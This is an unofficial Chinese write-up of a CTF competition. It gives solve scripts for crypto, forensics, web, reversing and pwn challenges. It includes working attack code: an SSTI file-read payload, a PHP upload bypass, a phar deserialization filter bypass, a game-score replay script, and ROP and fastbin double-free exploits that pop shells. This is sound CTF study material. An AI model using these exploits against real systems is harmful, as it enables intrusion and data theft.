JTWLB CTF非官方writeup
前言
这次JT的CTF题目质量还是不错的,但是运维CTF加一起才5小时,时间实在太紧,而且CTF的性价比明显不高,大部分题目都不只一个考点,也设了不少坑(出题人称为了防止AK)。比赛的时候,很多题目都没时间打开看,因此赛后重新把没做出来的题目复现一下,简单写了一下writeup,各位大佬如果有哪里看不懂,也不要找我,找出题人去~
crypt
babyrsa
题目提供的e=33,不是素数,直接求d会报错,因此需要先用e=11求出一个d,然后进行一次解密,之后就是e=3的套路了。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17from libnum import *
from gmpy2 import iroot
p=115527813793076185316851381449805634312168762458657191403286815066526250953188706928583056798579604342852966744015346317325822694054887219898915721915782637754329465514052854924553817535032759938725270570934210214428213523012934841467181935253769089655932739804044118941188314706468747928929674022797932677491
q=166400672883439986828248067692123363689048001045100362967157232932898845079847645677561248632693179197251519134531321011154377754163164855606639412545072704732134708868296084256496193743609181923015517115351345445824153230019197616579730076056575061573322756305055859636790371958064604509869192577321790513607
e=33
c=2115560894194923855739630759560263432863369647495989278797186061331927960652175182534536593259714647189428014744205682895048988970744494185844850545176656896750073471540369186693731841022954707114460986390619090986241777895532597176340296883545005058917849321578371609829147178589075514145416374661047508694566576157432639591003296975055455249269260800329069263661498941662392614602189878893057734163983485998267416879197126412977444307775211162627226211229437593330963712320994664878058875181731837287047039480049127389471576406574432640255100250675953098648028434804235316276464230311654580987077193891045891045379
d = invmod(11,(q-1)*(p-1))
c3 = pow(c,d,q*p)
i = 0
while 1:
res = iroot(c3+i*q*p,3)
if(res[1] == True):
print i,res,n2s(int(res[0]))
break
i = i+1
easyCrypto
古典加密算法告诉我们,只要加密算法不泄露,那就很安全。什么单表替换,什么移位、栅栏,统统都不用。 来,加密接口给你,随便你试。
纯脑洞,加密算法是加法,例如181d
为chr(0x18+0x1d)
1
2
3
4
5a='52112013243f2a0f280b22131e181f19412322101b192113260c0c29540d191e2b380d2b1f112017273c134f51121f133034191f191a560d10250b2521162312'
b=''
for i in range(0,len(a),4):
b+=chr(int('0x'+a[i:i+2],16)+int('0x'+a[i+2:i+4],16))
print b
Vigenere+++
1 | import sys |
不难看出密码表有t[i][j][k]=t[i][k][j]
这个规律,由于加密的key1和key2是互为倒序,j+k是固定值,那么只要固定5位(前后无所谓),然后爆破另外5位就OK了。对于相同的明文来说,可能有多个密钥使其生成相同的密文。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}"
def _l(idx, s):
return s[idx:] + s[:idx]
def decrypt(ct, k1, k2):
s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}"
t = [[_l((i + j) % len(s), s) for j in range(len(s))] for i in range(len(s))]
i1 = 0
i2 = 0
decrypted = ""
for a in ct:
for c in s:
if t[s.find(c)][s.find(k1[i1])][s.find(k2[i2])] == a:
decrypted += c
break
i1 = (i1 + 1) % len(k1)
i2 = (i2 + 1) % len(k2)
return decrypted
def get_key(plain, cipher, key_len):
s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}"
t = [[_l((i + j) % len(s), s) for j in range(len(s))] for i in range(len(s))]
i1 = 0
i2 = 0
key = ['*'] * key_len
for i in range(len(plain)):
for i1 in range(len(s)):
for i2 in range(5):
if t[s.find(plain[i])][s.find(s[i1])][s.find(s[i2])] == cipher[i]:
key[i] = s[i1]
key[key_len-1-i] = s[i2]
return ''.join(key)
ciphertext = "}z_{xv0uzXMHo2HKN8{SiY3A_81UoW"
key = get_key("flag{", ciphertext, 10)
flag = decrypt(ciphertext, key, key[::-1])
print(flag)
misc
checkin
LSB,RGB 3个通道各有一个二维码,过程略。
Injection
1 | #!/usr/bin/python |
最简单的一题,直接%s
,或者%(flag)s
。
日志分析
日志里面有很明显的数据库注入语句,使用的是布尔二分法注入,比赛的时候我是直接人工智障处理的(简单来说就是人肉看,不推荐),还是写代码比较正路。
二分法注入脚本:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30# coding:utf-8
import re
f = open('8.pcapng','rb')
res = open('res.txt','wb')
for i in f.readlines():
tmp = i
re1 = re.findall(r'/\?id=1\'/\*\*/and/\*\*/(.*) HTTP/1.1',i)
if len(re1) > 0:
res.write(re1[0]+'|')
if 'Content-Length: 332' in i or 'Content-Length: 366' in i:
res.write(i)
res.close()
res = open('res.txt','rb')
flag = ''
check = [32,126]
for i in res.readlines():
# ascii(substring((select/**/keyid/**/from/**/flag/**/limit/**/0,1),1,1))%3C79%23|Content-Length: 332
tag = re.findall(r',(\d{,2}),1\)\)%3C(\d{,3})%23\|Content-Length: (\d{3})',i)[0]
if tag[2] == '332': # False
check[0] = int(tag[1])
else:
check[1] = int(tag[1])
print check
if check[1] - check[0] == 1:
flag += chr(check[0])
check = [32,126]
print '[!]',flag
内存取证
1 | root@kali:~/volatility# python vol.py -f 2.data --profile=WinXPSP1x64 psscan |
其中比较可疑的是pythonw.exe
进程,把这个进程的内存dump下来,然后尝试用关键字过滤,最后可以找到一个python脚本。内存很大,出题人说用winhex搜索就行了,我用的是strings。1
python vol.py -f 2.data --profile=WinXPSP1x64 memdump -D /tmp/ -p 2364
加密脚本如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25#-*- coding:utf-8 -*-
import os
from base64 import b64encode
# flag{ this is not flag, it's just a comment in python source file.I hide some secret with python, I don't think you can found it.
secret_file_name = 'flag.txt'
secret_file_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), secret_file_name)
secret = ''
with open(secret_file_path, 'r') as f:
secret = f.read()
os.remove(secret_file_path)
key = input("Set a value 0x00 < key < 0xff:")
key = int(key[2:],16)
def encrypt(content, key):
result = ''
for c in content:
result += chr(ord(c) ^ key)
return b64encode(result.encode('utf-8'))
for i in range(3):
secret = encrypt(secret, key)
if type(secret) != 'str':
secret = secret.decode('utf-8')
result_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'lalala.secret')
with open(result_path, 'w') as f:
f.write(secret)
os.remove(os.path.abspath(__file__))
在\Device\HarddiskVolume1\Documents and Settings\Administrator\桌面
找到加密后的文件lalala.secret
,内存搜索一大串base64也可以,加密字符串特征比较明显。听说有大神找base64字符串,直接脑补了加密算法,我只能说刚刚NB。
直接爆破key即可1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17m = 'c1IufV1PRUZOX1VtTyYiIE9BRXJxeyZSWyRVc0MmIiJPQS52cU9FUkN6XXVyQlJ7c1JFQHJBI3xGeWNzcXtnL3QkZyNccCoq=='
def decrypt(content, key):
result = ''
content = b64decode(content).decode('utf-8')
for c in content:
result += chr(ord(c) ^ key)
return result
for i in range(0x100):
try:
m2 = decrypt(m,i)
m3 = decrypt(m2,i)
flag = decrypt(m3,i)
print(flag)
except:
pass
web
web1 简单渗透
扫描目录发现backup.zip
,根据zip内容修改hosts,使用提示给的账号密码访问后台,后台存在文件上传,修改Content-Type
为image/jpeg
即可传php。
1 | POST /user/upload.html HTTP/1.1 |
web2 澳门赌场
查看源码或者抓包,可以看到post分数的包,直接爆破4位分数。当时不会用burp,直接写了个py脚本。
1 | import requests |
web3 treehole
扫描发现index.php.bak
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//图片展示
class ShowPic{
private $pic_path;
function __construct($path){
$this->pic_path=$path;
}
function get_pic(){
return file_get_contents($this->pic_path);
}
function __destruct(){
echo $this->get_pic();
}
}
//我没有用include,用的是file_get_content,不会有漏洞的
尝试上传图片,测试发现基本没限制,只要扩展名和文件类型正确即可。而留言的地方有path
参数,测试发现如果文件已存在会提示,那么大胆猜测存在file_exists
这个函数,这个函数可以触发phar反序列化。
1 |
|
生成一个phar用图片上传,然后在留言处触发反序列化。
万恶的出题人过滤了phar,可以加compress.zlib://绕过
flag在/flag
尝试读取各个文件源码,看看是否有getshell可能性。
class.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
error_reporting(0);
class create_treehole{
public $path;
public $realpath = "";
public $complaint = "";
function __construct($path,$complaint){
$this->complaint = $complaint;
$this->path = $path;
$this->realpath = "";
}
function make(){
$this->realpath = $this->create_name($_SERVER["REMOTE_ADDR"]);
file_put_contents($this->realpath, $this->complaint);
}
function back(){
echo "您的烦恼保存在了 ".$this->realpath."</br>";
}
function create_name($str){
$salt='';
for ($i = 0; $i < 10; $i++){
$salt .= chr(mt_rand(33,126));
}
$str = "./treehole/".md5($str.$salt).".txt";
return $str;
}
}
class ShowPic{
private $pic_path;
function __construct($path){
$this->pic_path=$path;
}
function get_pic(){
return file_get_contents($this->pic_path);
}
function __destruct(){
echo $this->get_pic();
}
}
complaint.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
require_once("class.php");
if(isset($_POST["complaint"])&&isset($_POST["path"])){
if (preg_match("/^phar|php|zip|data/i", $_POST["path"])) {
die("detect hacker!!!");
}
else {
if(file_get_contents($_POST["path"])){
echo "exists";
}
else{
$treehole = new create_treehole($_POST["path"], $_POST["complaint"]);
$treehole->make();
$treehole->back();
}
}
}
else{
echo "error";
}
原来是file_get_contents,猜错了。。。
upload.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
error_reporting(0);
$whitelist=['.jpg','.png'];
$file=$_FILES['file']['name'];
if($_FILES) {
if (!in_array(substr($file, -4), $whitelist)) {
die("文件后缀必须是.jpg或.png");
}
move_uploaded_file($_FILES["file"]["tmp_name"], "pic/" . $_FILES["file"]["name"]);
echo "文件存储在: " . "pic/" . $_FILES["file"]["name"];
}
else{
echo "无文件被上传";
}
想不到办法getshell,有思路欢迎找我讨论。
web4 ssti
过滤了[]
,使用__getitem__
绕过1
msg=''.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(40)('/flag').read()
时间有限,拿了flag就跑,没时间读源码。
re
基本能力
题目提供c代码以及func
函数的汇编码1
2
3
4
5
6
7int main(int argc, char const *argv[])
{
char input[] = {0x0,0x67,0x6e,0x62,0x63,0x7e,0x41,0x4b,0x3b,0x4c,0x7e,0x51,0x5c,0x49,0x62,0x77,0x78,0x62,0x79,0x51,0x79,0x70,0x75,0x2e,0x2e,0x70,0x48,0x66,0x1c};
func(input, 28);
printf("%s",input+1);
return 0;
}
1 | 00000000004004e6 <func>: |
加密函数的逻辑不是很复杂,是一个xor加密1
2
3
4
5for ( i = 1; i < len(flag); ++i )
{
flag[i] ^= i;
}
return flag;
1 | 0x0,0x67,0x6e,0x62,0x63,0x7e,0x41,0x4b,0x3b,0x4c,0x7e,0x51,0x5c,0x49,0x62,0x77,0x78,0x62,0x79,0x51,0x79,0x70,0x75,0x2e,0x2e,0x70,0x48,0x66,0x1c] a=[ |
gameapp
app是一个打飞机的游戏,需要获得99999分,通过burp抓包,可以发现app加分的操作是通过http包发给远程服务器,数据使用RSA进行了加密。用JEB可以看到具体的代码。
1 | public void addScore(int arg7) { |
1 | public void run() { |
抓包可以抓到大飞机加30分的包,发过去后会更新session,更改session后继续发同样的密文直到99999分1
2
3
4
5
6
7
8
9
10
11
12POST /score/ HTTP/1.1
Content-type: w1nds
User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; )
Host: 120.194.198.16:8097
Connection: close
Accept-Encoding: gzip, deflate
Cookie: session=eyJwbGF5ZXIiOiJQbGF5ZXJOYW1lIiwic2NvcmUiOjUwfQ.XW3OAw.YBB___pWnlc9P560vCQk4H-gA5Y
Content-Length: 175
MISygCLch93NMojz/DaKAu88RkCQl2aTH/i0W0a3w0m1JBoEcr4YVuWdvb+hSSqWupieWqm0mDMb
BdtJ2TWFeorLJKuF5S5J31lzVqKxeoq2h7PGuFqKiwJVtvA6uIdzjOrmkElvnlTysjE3Y06HjCe1
x+T7s4zN0ahrEdOqC+8=
exp:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19import requests
import re
def add_score():
global s
paramsPost = """MISygCLch93NMojz/DaKAu88RkCQl2aTH/i0W0a3w0m1JBoEcr4YVuWdvb+hSSqWupieWqm0mDMb
BdtJ2TWFeorLJKuF5S5J31lzVqKxeoq2h7PGuFqKiwJVtvA6uIdzjOrmkElvnlTysjE3Y06HjCe1
x+T7s4zN0ahrEdOqC+8="""
cookies = {"session":s}
response = requests.post("http://x.x.x.x:xxxx/score/", data=paramsPost, cookies=cookies)
s2 = response.headers['Set-Cookie']
new_s = re.findall(r'session=(.*); HttpOnly; Path=/',s2)[0]
s = new_s
print("Response body: %s" % response.content)
return response.content
s="eyJwbGF5ZXIiOiJQbGF5ZXJOYW1lIiwic2NvcmUiOjYxMDEwfQ.XW3Wbg.4Bla3WMuSxCCv_8AQD9rNJGZ_ME"
while ('flag' not in add_score()):
pass
Dragon Quest
程序读取输入后进行计算,start_quest
返回值为0x1337即正确1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20fgets(&s, 257, stdin);
std::allocator<char>::allocator(&v8, 257LL);
std::string::string(&v9, &s, &v8);
std::allocator<char>::~allocator(&v8);
std::string::string((std::string *)&v7, (const std::string *)&v9);
v3 = start_quest((std::string *)&v7);
std::string::~string((std::string *)&v7);
if ( v3 == 0x1337 )
{
std::string::string((std::string *)&v6, (const std::string *)&v9);
reward_strength((std::string *)&v6);
std::string::~string((std::string *)&v6);
}
else
{
std::operator<<<std::char_traits<char>>(
&std::cout,
(unsigned int)"\n[-] You have failed. The dragon's power, speed and intelligence was greater.\n",
v4);
}
由于代码逻辑非常复杂,根据题目提示,应该使用暴力爆破解题。
1 | v6 = std::string::length(v11) - 1LL != legend >> 2; // legend = 0x73 ; 0x73 >> 2 = 28 |
题目会验证输入长度,可以在伪代码中看出,或者爆破一下输入长度。
这题需要使用pintool进行爆破,GitHub有ctf专用版:https://github.com/ChrisTheCoolHut/PinCTF ,原理是统计不同输入,程序运行的指令数量,判断输入是否正确。本题是example的原题,这是抄袭呀。
1 | ./pinCTF.py -f examples/wyvern_c85f1be480808a9da350faaa6104a19b -i -l obj-intel64/ -sl 28 -r abcdefghijklmnopqrstuvwxyz012345_-+LVMA -sk |
pwn
pwn不难,没脑洞没坑
pwn 1
栈溢出后ROP即可1
2
3
4
5
6pr = 0x0000000000400863 # pop rdi ; ret
p.sendlineafter('name:','a'*0x78+flat(pr,elf.got['read'],elf.plt['puts'],0x400776))
libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - libc.sym['read']
success(hex(libc.address))
p.sendlineafter('name:','a'*0x78+p64(libc.address+0x4526a))
p.interactive()
pwn 2
free之后没有清空指针,存在UAF,double free之后直接fastbin attack,其中edit功能可以不用。比赛的时候给的libc是ARM,就问你坑不坑~1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34def add(size,content):
p.sendlineafter('choice :','1')
p.sendlineafter('size:',str(size))
p.sendlineafter('data:',content)
def delete(idx):
p.sendlineafter('choice :','2')
p.sendlineafter('index:',str(idx))
def show(idx):
p.sendlineafter('choice :','4')
p.sendlineafter('index:',str(idx))
add(0x100,'111') # 0
add(0x100,'111') # 1
delete(0)
show(0)
libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) -0x3c4b20-88
success(hex(libc.address))
add(0x100,'111') # 0
add(0x50,'111') # 2
add(0x50,'111') # 3
add(0x50,'111') # 4
delete(2)
delete(3)
delete(2)
add(0x50,p64(0x601ffa)) # 2
add(0x50,'4444') # 3
add(0x50,'6666') # 5
add(0x50,'a'*0x16+p64(libc.address+0x45216))
p.interactive()